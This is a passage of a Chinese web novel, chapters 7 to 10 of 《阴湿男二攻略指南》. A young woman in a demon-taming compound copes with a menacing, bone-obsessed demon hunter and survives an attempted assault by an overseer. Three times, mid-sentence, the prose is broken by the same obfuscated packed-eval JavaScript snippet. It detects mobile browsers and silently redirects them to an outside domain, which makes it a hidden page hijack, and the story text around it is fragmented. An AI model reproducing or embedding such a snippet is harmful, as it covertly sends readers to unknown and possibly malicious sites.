《阴湿男二攻略指南》 7. 第 7 章 “啊,”白尘烬轻叹了一声,声音透着诡异的温柔,“我给你带了一件礼物。” “什……什么?” 他神色认真,即便沈染星不觉得他们的关系好到互送礼物,还是生出了好奇。 白尘烬从怀里掏出一个药包,约拳头大小,棕褐色的油纸,细麻绳绑着十字结,递到沈染星眼前。 沈染星不明所以,只是瞧着这包装有些熟悉。 熟悉到只见一眼,便察觉到它的危险性。 “你可喜欢?” 说着,白尘烬的手倏地用力,油纸鼓胀起来,绷得圆润,细麻绳勒出深刻的凹痕,似乎随时要炸开来。 药包紧绷的状态,让沈染星一下子想起来了。 这是杀妖用的毒粉。 她听任芦枝说过,毒性极大,只需半勺,无论人,妖,植被,触及既死。 今日早晨,她看见任芦枝把它当作珍惜宝物般,揣进怀里,想必是白尘烬在杀任芦枝时,缴获了这包毒粉。 沈染星瞧着紧绷到极致,即将要裂开的油纸,头皮发麻。 炸开后,白尘烬会不会死,她不管……但她肯定会非死即残,这万万不可! 沈染星顾不得脖颈后冰冷的手,飞扑过去,双手抓住白尘烬手臂,“谢谢,你给我吧。” 白尘烬沉默地看着她。 捏着她脖颈的手用力,将她扯远了些,接着一甩,将药包扔她怀里。 沈染星慌忙双手接住药包,怔愣在原地。 ……就这么给她了? 正想着要怎么处理,双手忽地用力,捏的油纸发出沙沙声。 白尘烬又在捏她的骨头了。 她几乎能想像得出来,他修长的手指陷入她的肌肤,沿着她的脊椎形状游走,一丝不苟,认真细致,仿佛是在做研究。 看来她的脊椎真的是好脊椎,夺得他的青睐,深得他的喜爱。 摸摸没事,只要不要把它掐断,扯出来就好…… 紧接着,沈染星倒吸了一大口凉气,白尘烬冰冷的手没掐她骨头,但是……正逐渐往下游走。 他手上的血迹与她脊背冷汗交融,滑腻,腥涩,在两人肌肤之间摩擦。 沈染星僵直着背,感觉到他的手继续往下探,已经到了肩胛骨的位置。 她知道他没有任何旖旎想法,但是危险与酸麻不断的刺激着她的神经,她甚至觉得背后的肌肉都在颤抖。 在白尘烬指尖用力时,她终于忍不住了,动作前所未有的迅速,一把扯出了他的手。 她神情呆滞,看着眼前染血的手。 ……就这样被她扯出来了。 本以为还要挣扎一番,今日白尘烬怎么如此顺从……才怪! 她一抬眼,便见白尘烬带笑的眸子陡然变得凌厉,想来是对她的反抗极度不满。 沈染星并未松开他的手,灵机一动,顺杆子说道:“你手上有血,我帮你洗洗吧。” 说完,沈染星自己先愣住了。 这话说出来,比当一个被吓到瑟瑟发抖的窝囊鹌鹑,还要没骨气。 白尘烬也愣住了,他变态的大脑,显然被她这跳脱的脑回路给绕弯了。 其实沈染星说出这话,也并非无迹可寻。 虽说原著里,女主和白尘烬的肢体接触不多,但也并非没有。 比如说她掉陷阱里了,白尘烬伸手将她拉起来。 只不过沈染星在此基础上,稍微延伸,加深,举一反三,灵活变动了一下…… 应该不会有什么问题吧…… 沈染星用眼神询问白尘烬:您说呢? 白尘烬没有任何回应,只是目光少了那一抹狠厉,沉静地看着她。 “你手上沾了血,黏黏腻腻的,很不舒服吧?”沈染星指着不远处的井,道,“井就在那边,我打水给你洗洗,很快的。” 白尘烬依旧沉默。 其实沈染星一开始的目的,就是阻止白尘烬继续探索她骨头的形状。按理来说,她的目的已经达到了。 可她心中依旧忐忑。 她期待着他答应,这意味着两人算是破了冰,关系更上一层楼。 与白尘烬这样的强者打好关系,有利无害。 可是,依照原书中白尘烬那生人勿近的孤高性子,这般近乎亲密的请求,他断不会应允…… “好。”白尘烬眼眸微微眯起,饶有兴致的看着她。 空气安静一瞬。 片刻后,沈染星才惊讶的抬头,又愣了半晌,才确定没听错。 他答应了。 他居然答应了。 井口四周砌三堵矮墙,高度只及大腿,白尘烬斜坐在墙头上,手慵懒地撑在身后。 沈染星吱呀吱呀地摇着辘轳从井中汲水。 白尘烬目光落在她背影上。 他清楚地记得,两人相斗那日,剧毒侵蚀神智的最后一刻,指下分明传来脊椎碎裂的触感。 可这几日,他检查了两遍,她的脊椎的确完好如初,不见伤痕,行动如常。 他故意以同样的手法,掐断了她同帏的脊椎。她见了尸体,除了本能的害怕,并无其他异常。 她甚至还要打水,帮他洗去手上的血污。 哗啦啦的水声传来,沈染星将水倒入盆中。 白尘烬手指修长,骨肉均匀,撑在墙头,微微弯折。 她提出这个主意时,抓着他的手,指尖微微颤抖,尽管极力掩饰,漆黑的瞳眸里也盛满了紧张。 他想她该是有什么目的。 于是他应下了。 可她似乎并无二心,没有算计,只是纯粹想要洗净他掌心的血迹。 她忙碌的背影甚至略显欢快,眼眸弯弯,嘴角带笑…… 白尘烬眯起眼眸,若是此时拧断她脖颈,她表情还能保持这般么。 一声闷响,沈染星将木盆端到了身侧,垂着脸。她下唇有个细小的伤口,是她方才咬的,有些肿胀,泛红。 白尘烬垂眸,视线落在她伤口上,指甲缓而慢刮过粗粝墙头。 他感觉到暴虐欲在他心口过度扩散,剧烈翻腾,无法抑制。 他想要将她按到地上,指尖刺入她的皮肤,捏断她的骨头,再猛地拔出来。 沈染星隔着木盆,坐在白尘烬右侧,看着他,朝他伸出手。 白尘烬没有反应。 沈染星以为他在走神,开口道:“把手给我吧,井水冰凉,还挺舒服的。” 白尘烬默然片刻,将手递过去。 沈染星牵住他的手,比起井水,他的手冰寒更甚,冰得沈染星一个激灵,心头突突直跳。 仿佛牵在手上的,不是人手,而是凶猛野兽的爪子,不可控,也不可预料,随时会伸出利爪,划破她的喉咙。 沈染星压下脑中乱七八糟的想法,低下头,将白尘烬的修长的手指按入井水中。 血色顿时晕散开来,将水染成淡粉色。 白尘烬手上的素帛只缠到指根,并非纯雪白,细细看去,有极淡的灰色。 他的衣袖和衣襟都溅上了星点血迹,素帛却干燥,干净,不见一丝红痕。 这不是普通的布料。 沈染星不过度探究,低着头,洗得认真,她的脖颈微微前倾,白皙,纤细而脆弱。 白尘烬目光锁定在她的脖颈上,视线倏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222844|181591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地一重,沉沉压在她脖颈后。 在他的注视下,沈染星脖颈逐渐僵硬,手上清洗的动作也逐渐变乱。 指尖上白尘烬手指的温度愈发冰冷,冰到她仿佛捏着一块冰块。 这又是怎么了?猪瘾上来了,又想摸她脖子了? 沈染星抿了抿唇,假装不知,继续手上的动作。 白尘烬的视线下移,阴森,锋利,仿佛要穿透她的衣衫,撕开她的皮肤,刮擦她的骨头。 他对她脊椎兴致甚高,高到她怀疑他有收集骨头标本的嗜好,而她的脊椎非常符合他的手感,或者眼缘…… 说好的破冰呢,破个屁的冰!他还是觊觎她骨头! 沈染星想直接甩手不干了。 但是她不敢…… 在白尘烬侵略的视线下,沈染星的脊背即将要僵硬成铁块时,那压迫感倏地消失了。 被压得久了,一下子轻松起来,她还愣了好一会。 全然不知在鬼门关走了一遭,只以为白尘烬在以她的恐惧为乐,欣赏她受到惊吓的模样。 觉得他实在恶劣,还恶向胆边生,有意重重捏了一下他指节。 白尘烬手指微微蜷缩。 沈染星猛地回神,惊慌地松了力道。 她这是吃了豹子胆不成? 她一瞬清醒。 心脏咚咚地撞击着她的心房,有力,健康,她古怪地感受心脏加速的跳动。 她活了小半辈子,心脏总是恹恹的,几乎感受不到它的跳动,因为激烈跳动带来的剧痛,会吞没她的感官,掩去一切。 如今换了具健康的身体,心脏可以肆意跳动,她明显对刚才的急速心跳不反感,甚至…… 兴奋于心跳失速……吗? 沈染星听见自己的呼吸声,一呼一吸,是刻意放缓的速度。 她手上动作也放慢,抬眼看向白尘烬。 坐于矮墙的白尘烬,单手撑在身后,双腿微弯,姿态懒散随意,头轻抬,望着天边赤红的晚霞。 灰蓝眼眸那层薄雾,在暖黄夕阳下,化开了,清冷中透出温润的光。 这双眼眸忽地一转。 沈染星的视线被撞个正着。 撞得她心跳过载,她张了张口,想说些什么……可她想说什么呢?她想要维持现在的关系? 这想法甫一冒出来,她脑子仿佛被一棍重击了一下,瞬间清醒过来。 她在想什么?!高度紧张了几天,她脑子憋出病了?冒出这种犯病的想法。 这可是会要命的事! 她避开视线,埋下头继续手上动作,奇怪的是,白尘烬手的温度逐渐回暖了。 她暗暗感受了一番,的确不再冰冷。 白尘烬并未理会她的小动作,依旧自顾自的欣赏晚霞。 接下来,沈染星像是与一个不熟的,性子极冷的朋友相处一般,维持着诡异又和谐的氛围,直到白尘烬离开。 沈染星收拾好物什,已经夜色渐起,朦胧的暗色笼罩而来。 她回到门外,一具尸体面目狰狞惊恐,瞪着双眼,直直对着她。 她身躯剧震,汗毛倒竖,这才想起来—— 尸体还在她房里! 白尘烬这是管杀不管埋啊。 她不敢再看,心脏跳得飞快,这要怎么处理?她挖个坑埋了?还是告诉伏妖居的人? 正想着,远方传来脚步声。 沈染星转身看去。 洪大林身体壮硕,大步流星朝此处走来,身后跟着两名随从。 沈染星不适地皱眉。 即便隔着朦胧月色,沈染星也能分辨出他的视线,依旧那样令人恶寒。 8. 第 8 章 三人面色平静,有条不紊,脚步一致,踩在泥沙地上沙沙地响,端的是一副公事公办的态度。 沈染星知道,他们这是来处理尸体了。 看来只要白尘烬能挣钱,伏妖居对他杀人一事,不仅是睁一只眼闭一只眼,甚至可以说是纵容的。 瞧瞧这待遇,连杀人善后都安排好了。 沈染星并不想与洪大林有过多交集,在他们靠近前,已退到一边,尽量降低存在感。 洪大林经过她时,也并未多问,直接越过了她。 可他不打算一起进房里,停住门外吩咐道:“你们两个进去,用凉席把尸体卷起来,再搬出来。” 两名随从应声,同步往里走。 洪大林站在沈染星身前,距离约摸三四步远,背对着她,她却能察觉到洪大林的注意力不在屋内,而是在……她身上。 甚至散发出隐隐的压迫感。 沈染星悄无声息地再退远一些。 他身上的压迫感与白尘烬那样尖锐的、致命的、干脆的不一样,他给人一种浑浊,黏腻,极度不适的感觉。 晚风吹来,空气闷热,夹杂着他身上的汗酸味,迎面吹来。 沈染星觉得有些辣眼睛,抬手揉了揉。 揉完,再次睁开时,她对上了一双三角眼。 洪大林脸上横肉堆积,眼皮臃肿,狭窄的眼缝里,有一道轻慢的目光破出,肆无忌惮地落在沈染星身上。 沈染星这下明白了,救白尘烬那日,洪大林目光不善,并非因她脱了褙子,露了肩臂,而是他本身就是这样的人。 与她做了什么,根本无关。 “林哥,收拾好了!” 两位随从动作麻利,不一会便从房里出来了。他们走到洪大林身边,打断了洪大林令人不适的视线。 他们腋下夹着尸体,一人夹着上身,一人夹着腿。尸体裹在席子里,只露出凌乱的发顶。 洪大林又扫了两眼沈染星,点点头,迈步离开。 待人三人的身影消失在巷子尽头,沈染星依旧站在原地。 一阵风吹过,风是闷热的,沈染星却打了一个冷战,此时惊惧才席卷而来,血液一瞬涌上大脑。 两日后,必须要离开! 迫在眉睫! 这一晚,沈染星后半夜才堪堪睡着,并且睡得不太安稳,要么被噩梦惊醒,要么被风声吵醒。 次日醒来,她怀疑自己甚至没睡足一个时辰。 同帏惨死这种事,在伏妖居不值一提,她连害怕的资格都没有,草草吃了早饭,早早就去了驯妖室。 简直惨绝人寰,惨无人道,惨不忍言。 沈染星拖着疲惫的身躯,发软的手脚,发胀的头脑,进到驯妖室时,看见本来属于任芦枝的位置,站了个女子。 这名女子名叫林绯烟,她的穿着比任芦枝好上不少,藕荷色罗襦,艾绿色百褶旋裙,裙幅间暗藏银线。 伏妖居里,她的打扮是最精致的,面上薄施铅粉,口点胭脂,眼角微微下垂,笑起来如新月浸水,自带三分怜意。 沈染星曾经和她打过照面,却没搭过话, 但关于她的传言,倒是听了不少。 几乎都是从那些三大五粗的驯妖师口中听来的,每每提起她,那些男的会发出猥琐的笑声,话语间夹杂着不堪入目的话语。 而伏妖居里的女子都觉着林绯烟心机深,自命清高,当了婊子还要立牌坊,皆不愿意接近她。 剥离那些污言秽语,聚焦于她的经历,其实可以看出,林绯烟也是一个可怜人。 前两年,在伏妖居东家洪营的威逼利诱之下,林绯烟被他收入房中。可不过短短半年,她便被厌弃了。 由奢入简容易,由简入奢难。 为了维持原有的生活,她开始出卖身体,她姿色不错,又是一个弱女子,一经走上了这一条路,便再也由不得她了。 待她想回头时,早已没了退路。 沈染星原以为,像林绯烟这般不惜作践自己、以身谋利的女子,必是个庸碌无能之辈,贪恋浮华享乐,偷奸耍滑之人,只会成为负累。 谁知她居然温柔,和善,是一个古道热肠的大姐姐。 “你学我这般。”林绯烟一边说着,一边给沈染星示范清洗妖钉的手法,“这样带过去,便可把里面藏着的血渍一下扫空。” 沈染星道:“我试试。” 她的动作笨拙,但是在林绯烟耐心教导下,多试几次,掌握了技巧,就上手了。 “你的手真灵巧。”林绯烟笑得很温柔和。 没有人不喜欢被夸。 沈染星笑得有些不好意思,这是她这几日以来,展露出的第一个真正的笑容。 来到这个世界六天了,她第一次遇见正常人,难免敞开了话匣子。 原来,林绯烟不只是通过出卖身体求生,她还兼着一项事务,只是说来残忍,很少人提及罢了。 她平日清闲,可伏妖居出现失控、残废等无用的妖时,她便配出合适的毒粉,将其毒杀处理。 沈染星听她平静地道出此事,无比震惊。 想不到这样一个温柔的人,居然夺走了无数妖的生命。 不过在这环境下,谁又不是身不由己,沈染星很快便消除了心中芥蒂,接受了林绯烟所做之事。 毕竟自己没有亲自动手去杀妖,平日在这里洗妖钉……也算是一种助纣为虐吧。 五十步也不必嘲笑百步了。 …… 一日的工作完成,沈染星独自留下收拾器具。她的动作磨蹭,拢共就几件器物,摆好了,她转头确认没人注意,又迅速拿下,再往上摆。 如此往复了五回,终于,她熬走了最后一个人。 驯妖院里,除了满墙的妖,仅剩她一人。 石室内火盆里的火苗渐弱,角落一片黑暗,她心有不安,可事到如今,她早已没了退路。 昨夜辗转难眠,她脑海中翻腾的只有一个念头—— 逃。 可是凭她一己之力,即便逃了,也很有可能会被抓回来,她需要借助其他力量。 她了解到,那只雪貂妖是活地图,能辨路,躲追兵,是再好不过的逃命小伴侣。 今日站在阴冷的石室里,这个念头愈发清晰起来:只要今日能救出那只雪貂妖,就头也不回地离开这鬼地方。 她警觉地四下环顾,确认周遭再无旁人后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222845|181591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,迅速闪身钻入第二层的入口。 眼前光线骤然一暗,浓重的血腥味扑面而来,仿佛跌入另一个世界,像一只无形的手猛地扼住咽喉,让她不由得屏住呼吸。 有了上一次的经验,沈染星很快就找到了雪貂妖。 一般进阶的钉子会七日的轮换一次,而在期间,妖会逐渐恢复,这里不再一片死寂,有不少痛苦的呻吟声。 这一次,沈染星刚在笼前站定,那雪貂妖便倏地睁开了眼。晶蓝眼珠清亮不少,原先黯淡的皮毛也隐约有了光泽。 雪貂妖突然人立而起,前爪搭在铁栏上,哐当一声,动作带着几分急切。 沈染星以为它迫不及待要逃出牢笼,立即就要伸手打开,可指尖刚碰到冰凉的铁栓,雪貂妖毛发警惕地炸开。 “有人,快走!” 它的声音突然刺入脑海,尖利得像根冰锥,刺得沈染星浑身一僵,还未反应过来,便察觉到了一股黏腻的气息。 就像一盆冰水浇头而下,沈染星头皮一阵发紧,从头凉到了脚,麻木得无法动弹。 白尘烬的威压向来如同出鞘利剑,锋芒毕露却干干净净。而现在充斥在石室里的,却是某种滑腻阴湿气息,仿佛毒蛇爬过沼泽时留下的黏液,粘腻,令人作呕。 这绝不是他。 沈染星压下心头的慌张。 这一次她还未说话,暗中那人不知她的意图,她也不是趁着守门人瞌睡溜进来的,没有规定她不能进这里。 所以这一次她可以光明正大地,一如往常地离开。 是的,冷静,若无其事地离开就可以了。 沈染星暗暗深吸一口气,转身,不紧不慢地往外走。 鞋底踩在微湿地面上,声音沉闷,节奏不急不徐。 她还未走到门口,一道阴影忽然窜出来,挡住了去路。 沈染星及时停下脚步,往后退了几步。 此人分明是故意的,若是她不及时停下脚步,肯定会撞上去。 她面上浮现薄怒,抬眼看向来人,汗酸味冲来,熏得她眼睛酸辣辣的,几乎要逼出眼泪来。 果然是洪大林。沈染星不愿与他纠缠,微微颔首,便侧过一步,躲过他,往前走。 她还未抬脚往前走,洪大林侧过一步,正正挡在她面前。 沈染星尽量使自己的声音平静:“林哥,有什么事吗?” 洪大林语气带着调笑意味:“我怀疑你刚刚偷东西了,我要搜身。” 沈染星平静看着他,眼底不见一丝慌乱,否认道:“我没有。” 说完,她再次躲过洪大林就往外走。 洪大林却还是挡住了她的路。 沈染星知道他的意图,眼中怒火再也压不住,不满地盯着他。 洪大林却毫不在乎,一副死猪不怕开水烫的模样。 这小妞水灵灵的,她生得极是灵秀,一双杏眼又大又亮,娇俏可人。 早些时候,他也曾经想要动手,但是那时她的气息太过吓人,他下不了手。 可经过这几日的观察,他发现这小妞身上的气息变了,仿佛从一头老虎,变成了一只小猫。 小猫再凶又如何,挠两下或许还能尽兴…… 9. 第 9 章 “贼偷东西,在查到证据之前,又怎会承认?”洪大林盯着沈染星的脸,“你让我搜身,若是我确认你确实没偷,我便放你离开。” 沈染星警惕地盯着他。 她相信母猪会上树,也不可能相信洪大林会安分搜身。 洪大林一看便是有备而来,她在等她独自一人,他也在等她落单。 此时,沈染星多么希望白尘烬如同上次那般,也藏在某个角落。 可他不在。 想到这里,沈染星脑子卡顿了一下。 他真的不在吗?他喜欢恐吓她,或许他正在暗中看着,冷漠地看着她的遭遇,她的惊恐。 不知他的底线在哪里。若是他……没有底线该怎么办? 无论她发生何事,他只袖手旁观怎么办? 她不是原书女主,她只是模仿了原女主,让他生出些许兴趣的人。 若是她真的死了,他回到原书女主身边,开始了重要角色的轨迹,也理所当然…… 她只是一个可有可无的配角吗?在书中连名字,不,她甚至是个从未出过场的人,她连配角也不是。 或许只是白尘烬见过的,不足为道的一个人。 她所经历的,可能只是佐证他恶贯满盈的,一个微不足道的小小事件。 两人虽说相见不过几日,她却早已在书中,单方面先认识了白尘烬。 伏妖居里,她最了解,最熟悉的是他,在充满危险的陌生环境里,她似乎对他产生了畸形的依赖…… 可她现下猛然发现,这依赖只是一厢情愿。 不知名情绪轰然决堤,无力感死死裹住她的心。 沈染星深吸一口气,一遍又一遍的让自己冷静下来。 情况还没那样糟糕,何必提前乱了阵脚。 她自知硬刚不过,只能退一步,道:“搜身可以,你让绯烟来搜。” 洪大林立刻拒绝:“不用搞那么麻烦!我现在直接搜。” 那便是谈不拢了。 驯妖师给妖上妖钉前,必先耗尽其气力。而最利落的手段,便是打到它们筋骨酥软、妖力溃散。 所以这个房间里有不少刑具,锤子,鞭子,铁棍,狼牙棒…… 沈染星余光扫过刑具,心跳得很快,手在发抖。 洪大林看起来势在必得,今日此事定是无法调和了。 她在心中计算敲晕洪大林、救出雪貂、今晚逃走的可能性有多大。 沈染星假装恐惧退了两步,现下手边恰好就有一根狼牙棒,通体漆黑,靠在凹凸不平的墙壁上。 洪大林见她漏了怯,愈发张狂,朝她走去。 沈染星极度紧张,大脑充血,她握了握拳头,止住发抖的动作,手腕一转,往后摸到了冰冷的狼牙棒。 “你们怎么还在这里?” 门口忽然传来声音,这一道声音,对于沈染星而言,宛若天籁。 逆着光,沈染星看到了林绯烟,火盆跳跃的火苗给她镀上了淡淡的橙色。 “我正要走!”沈染星反应极快,边说边朝着林绯烟走去,速度快到几乎要跑起来。 林绯烟似乎并未察觉到她的异样,弯眼笑道:“好。” 洪大林站在原地,并未阻止,只是转身定定看着两人离去的背影。 - 夕阳余晖散尽,西边天空已经泛起蟹壳青。 沈染星与林绯烟并肩走着。 “其实我并不觉得我做的事情很残忍,那些已经疯了,或者已经残了的妖,继续活着,不过是在挣扎,对他们来说也是一种折磨,不如一死为快。” 林绯烟的这一番言论,着实让沈染星有些吃惊,她看着林绯烟,只见她眸色温柔,仿佛只是在说一件稀松平常的事。 这生杀之事,对于她而言,或许真的只是寻常事。 沈染星试图说服自己,她说得有道理,可心中依旧冒出强烈的疑问。 “若是那些小妖还想活着呢?” 林绯烟勾了勾唇角,态度无所谓,语气很平静:“它们已经落到这样的田地,生死早不是它们自己能够决定的。” 沈染星自然也知道,生死由不得他们,可她纠结的是…… 林绯烟说起来为何能如此平静。 分明是个良善之人…… 难道是经历了这日复一日的杀戮,已经麻木了吗? 沈染星并不打算直接挑明。 其实林绯烟,甚至她,跟那些妖的处境又有何不同。 都身不由己,都受人所控。 两人一路闲谈,不觉已行至岔道口。 左侧大道宽阔,朱门绣户鳞次栉比,右侧窄巷幽深,低矮的瓦房密密挤作一团,对比惨烈。 林绯烟与伏妖居的管事一样,住在左侧。 而沈染星与驯妖师或者其他杂役一样,住在右侧。 两人道了别,朝着各自的方向走了。 暮色渐浓,沈染星并未立即回房,脚尖一转,朝着白尘烬的住处而去。 白尘烬是伏妖居的摇钱树,自然有资格住到左侧那富丽堂皇的大房子,只是他拒绝了。 缘由很简单,他不乐意。 这事不知惹了多少人暗恨,他们梦寐以求的事,被他一句“不喜”便轻飘飘地拒绝,连理由都懒得找。 他的态度无疑化作了一个巴掌,狠狠抽在他们脸上,打得他们破防了。 沈染星每每听闻此事,都想开口询问,打了他们的脸的当事人,也就是白尘烬,他知情吗? 她见他们恨得牙痒痒的,没敢问出口。 不过,当事人大抵是不知情的,这只是一个一厢情愿的巴掌。 思维发散间,沈染星已经走到了白尘烬房外。 窗户大开,窗内有一案桌,只放着一个圆肚窄口白瓷瓶,一支淡蓝色夏花插在瓶里,迎风招摇。 视线往里,还是没见着人。 沈染星前来,一来是想问清楚方才他是否在驯妖院,得想办法在他心中给自己埋下一条底线,别吓得太过火,把她吓死了…… 二来则是要与他沟通提前逃离妖院的事。 可她等到夜色浓郁,也没等到人。 沈染星只得先回了房。 睡前,沈染星将购置的逃跑物资,以及财物都藏到床底下,锁好门窗,才躺到了床上。 才闭上双眼,门咔哒响了一声,她猛地睁开。 洪大林今日那势在必得的模样浮现在脑海中,沈染星心底惴惴不安,辗转反侧,不能入眠。 门又响了一下,沈染星深吸一口气,把目光放在了门上。 她还想着,洪大林今日并未得手,会缓几天,但如今一想,这种想法似乎没有任何依据。 沈染星愈发不安,只得起身,披着外袍轻手轻脚走到门边。 门又响了。 她被吓得一抖,细细查看,却发现是风吹的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16222846|181591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈染星稍微放下心来,紧绷的神色也缓和不少。此刻,比起任芦枝的冤魂,她觉得洪大林这个活生生的人更加可怕。 她环顾四周,推着沉重的实木柜子,将其堵到门口,才和衣而眠。 因任芦枝的死亡,沈染星昨晚少眠多梦,今日为了偷妖,精神又一直绷着,后来更是遇上图谋不轨的人…… 事情一件接着一件,她累极了。 即便心底不安,沈染星躺下没多久,就迷迷糊糊入了梦乡。 “嘭——” 巨大的撞击声猛然响起。 沈染星浑身一抖,陡然惊醒,头脑疲惫迷糊。 这是做恶梦了? 似乎是对她猜想的猴急否认,门与柜子又狠狠撞了一下。 沈染星慌忙坐起来,看向门口。 这一下,直接将柜门给撞开了,里头衣物、杂物掉落一地。 她屏息凝神,期望那柜子能挡住门外的人,能让他放弃,起码今晚先放弃。 可这点阻挡,洪大林并未放在眼中。 门再次剧烈震动,门缝突起,咧开,与柜子相撞,甚至把柜子撞远了些。 门要撑不住了。 巨大的撞击声,令沈染星打心底感到毛骨悚然。她甚至在裂开的门缝里,看到了洪大林的凑近的,贪婪的三角眼。 - 白尘烬刚从驯妖室回来,裹着浑身戾气,迈入房间。 他站在桌前,扯开手背的素帛,一瞬不瞬盯着上面的纹路,眸色阴沉。 在他刻意的控制下,身上的妖气已三年不曾这样失控了。 如今再度压不住,是因他此次驯妖太过急于求成吗? 晚风清凉,吹不散他体内的燥热。 他烦躁地抬头,余光扫过窗口,桌上白瓷瓶里的夏花,多了一株,是白色的,与蓝色那朵十分相衬。 几乎是一瞬间,他便猜到这花是沈染星放进来的。 白色小花在风中颤抖,一张煞白的小脸突然浮现在脑海。 白尘烬默然注视着小花。 沈染星在洪大林被逼的步步后退时,他在。 她是国师的人,与他是你死我活的关系,他不会救她。更何况,那样的小啰啰也无法解决的话,定是她伪装的。 沉默片刻,白尘烬探手,捏住花|径,一把抽了出来。 本想直接毁掉,却顿住了力道,随手将小白花扔到地上,转身往床榻走去。 - 沈染星当机立断,迅速爬起来,往窗口冲去,把窗锁打开,猛地推开窗页,手脚并用的爬上窗台。 与此同时,砰的一声巨响。 门彻底被撞开了。 洪大林疾步走近,经过柜子时,还粗鲁地踹了一脚,柜底与地面的摩擦发出刺耳的声音,落在沈染星的耳中,宛若催命符一般。 沈染星大半个身子已探出窗外,仅剩一条踏在窗棂上的腿。 可就是这一条腿,被抓住了。 洪大林的掌心濡湿,死死攥着她的脚踝,力道极大,恨不得要捏碎她骨头一般。 沈染星浑身汗毛瞬间炸起,脊背窜上一股刺骨的寒意。双手死死扒住窗台,可身体却仍不受控制地被往后拖拽。 她猛地抬起另一条腿,用尽全力朝他腹部踹去,洪大林像一堵墙似的,纹丝不动,反震得她脚踝生疼。 未及再挣扎,脚腕上的手像拖一袋谷物般,将她狠狠拽进了屋内。 10. 第 10 章 沈染星十指死死扣住窗前的木桌边缘,当那股蛮力再次拽来时,她咬牙借势一掀。 木桌轰然倾倒,桌角不偏不倚正中洪大林的太阳穴。 洪大林和桌面恰好靠成一个三角空间,沈染星缩着身体钻出来,朝着门外跑去,洪大林推开木桌,追过来。 门已经被踹得破破烂烂,要倒不倒,沈染星猛地一拽,门板往她身后倒去,挡住了追来的洪大林。 她终于跑出了门外,洪大林被她砸了一下,速度不快,两人拉开了距离,惊恐平复了些许。 可她忘了,这是一个玄幻的世界,洪大林不一定需要追上她。 背后腾起一阵风声。 沈染星腿弯一痛,跪倒了下去,就这么一摔,洪大林便追上了她,揪住她衣领,想要将她拖回去。 靠,暗器! 沈染星挣扎得厉害,洪大林粗声道:“今晚你从了我,以后荣华富贵任你享受。” 沈染星一听,更加不要命地挣扎起来。 放你娘的狗屁! 先不说她不愿意!从了他的下场,不是有林绯烟这个活生生的例子吗。 洪大林制不住她,也没了耐心,哼了一声,“这是你自找的。” 与话音一同落下的,还有重重的一巴掌。 与此同时,沈染星惊慌之下,摸了块拳头大的石头,二话不说,朝着洪大林后脑勺砸去。 洪大林动作一顿,身体一软,倒了下去。 衣领上的手松开了,沈染星也坐倒在地上,那一巴掌扇得她头晕目眩,视线模糊,左耳嗡鸣不止,像是有人在她颅骨里猛敲了一口铜钟。 她缓了好一阵,才找回意识。 晚风吹过,她胸前一凉,才发现领口在暴力的纠扯之下,已撕开了大半。 沈染星裹紧自己,捂着心口,大口大口呼吸着,然后…… 看到了洪大林手指抽搐一下。 她浑身一抖,吸了一下鼻子,连忙爬起来。 此处不宜停留,或许她可以去找林绯烟,但她住在洪大林附近,这和自投罗网有何差别。 沈染星头脑发晕,视线模糊,漫无目的,摇摇晃晃地走着,待她看清眼前景象,她已走到白尘烬住处…… - 咣当一声,白色瓷瓶摔倒在地,碎裂开来,水流淌了一地。 紧接着是重物摔落的闷响。 剧痛自肩头传来,沈染星趴在地上,缓了好半晌,才颤抖慢慢爬起来。 从窗口爬入的她,坐靠在墙壁上,看着那一堆的碎瓷片,心想,幸亏没有摔到那处。 一双黑靴出现在眼前,现下在白尘烬房里,不是白尘烬还能是谁? 沈染星隐在黑暗里,仰头看去,果然是白尘烬。他迎着窗外月光,只着白色里衣,衣襟微敞,露出缠在胸前的素帛。 白尘烬自上而下,扫了她一眼:“滚出去。” “我有事找你。” “何事?” “我们现在就离开吧。” 没有回应。 不知是因面颊疼痛,还是因余惊未定,她声音颤抖得厉害:“所有东西我都准备好了,我们两个人的东西都准备好了,就藏在了我的床底下,只要,只要拿了,就可以离开了……” 白尘烬眉头轻皱,落在了她缩在胸前的手上。 “我有钱,我的钱不少,绝对够我们两个路上的盘缠。我是说,如果我们逃出去了,我可以把钱分你一半。如果没有特别大的支出,这笔钱足够你生活十年八年的。” 白尘烬依旧不发一言,转身走开了。 沈染星压住喉间的哽咽,提高声音:“你想要多少,可以商量,我甚至可以……” 房内忽地亮了起来,烛火窜伏,白尘烬放下火折子。 沈染星没有放弃,继续道:“等我们逃出去之后,剩下的钱都是你的,也可以。或者你只需要把我送出去……” “呵……” 